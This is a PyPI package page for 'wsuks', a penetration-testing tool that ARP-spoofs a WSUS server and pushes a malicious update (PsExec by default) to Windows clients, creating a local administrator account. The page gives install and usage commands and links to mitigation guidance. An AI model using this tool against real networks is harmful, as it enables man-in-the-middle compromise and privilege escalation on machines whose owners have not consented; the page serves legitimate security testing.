Skip to main content

A Tool for automating the MITM attack on the WSUS connection

Project description

Supported Python versions Twitter

wsuks

Weaponizing the WSUS Attack

Gaining local administrative access on a Windows machine that is part of a domain is typically the initial step towards acquiring domain admin privileges during a penetration test. In order to exploit the WSUS attack automatically, this tool spoofs the IP address of the WSUS server within the network using ARP, and when the client requests Windows updates, it provides its own malicious updates instead. By default, a Windows client requests updates every 24 hours.

Both the executable file served (Default: PsExec64.exe) and the executed command can be changed as needed.

Prerequisits:

  • The target Client must be on the local network
  • The Windows Server Update Service (WSUS) must be configured using HTTP

Result:

  • After successful execution a user with the format user[0-9]{5} (e.g. user12345) and a random password will be created and added to the local admin group

Installation

Using pipx:

sudo apt install python3-pipx
pipx ensurepath
pipx install wsuks
sudo ln -s ~/.local/pipx/venvs/wsuks/bin/wsuks /usr/local/bin/wsuks

Using poetry:

sudo apt install python3-poetry
git clone https://github.com/NeffIsBack/wsuks
cd wsuks
sudo poetry install

Usage

❗wsuks must be run as root❗

With pipx:

sudo wsuks
suso wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20

With poetry:

sudo poetry run wsuks
sudo poetry run wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20

About & Mitigation

In the PyWSUS Repository from GoSecure you can find a great documentation how to you could detect and mitigate this attack. They also wrote a great Guide demonstrating how this attack works in detail here.

This Tool is based on the following projects:

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

wsuks-0.3.0.tar.gz (761.6 kB view details)

Uploaded Source

Built Distribution

wsuks-0.3.0-py3-none-any.whl (768.7 kB view details)

Uploaded Python 3

File details

Details for the file wsuks-0.3.0.tar.gz.

File metadata

  • Download URL: wsuks-0.3.0.tar.gz
  • Upload date:
  • Size: 761.6 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.3.2 CPython/3.11.4 Linux/6.1.0-kali9-amd64

File hashes

Hashes for wsuks-0.3.0.tar.gz
Algorithm Hash digest
SHA256 69781a61c25e47969c83715611c87311e9eebf1a287f84c739ef6f40eacd6f94
MD5 7f58975a1280f0f98943f6cc2de573b6
BLAKE2b-256 cb10ea9a20ed6a842231f920cededd4bd11af4165795a61b4338de80d24ac722

See more details on using hashes here.

File details

Details for the file wsuks-0.3.0-py3-none-any.whl.

File metadata

  • Download URL: wsuks-0.3.0-py3-none-any.whl
  • Upload date:
  • Size: 768.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.3.2 CPython/3.11.4 Linux/6.1.0-kali9-amd64

File hashes

Hashes for wsuks-0.3.0-py3-none-any.whl
Algorithm Hash digest
SHA256 dd67318820071321ab39f79e799ac391306cc61620f7bdd0205520e371db5384
MD5 5133e723813acdcd9adb2bbd8d12951e
BLAKE2b-256 7a477565962b3430199c22ac347c7396fa64c20b1319e823bedd6f2eddb1bcc6

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page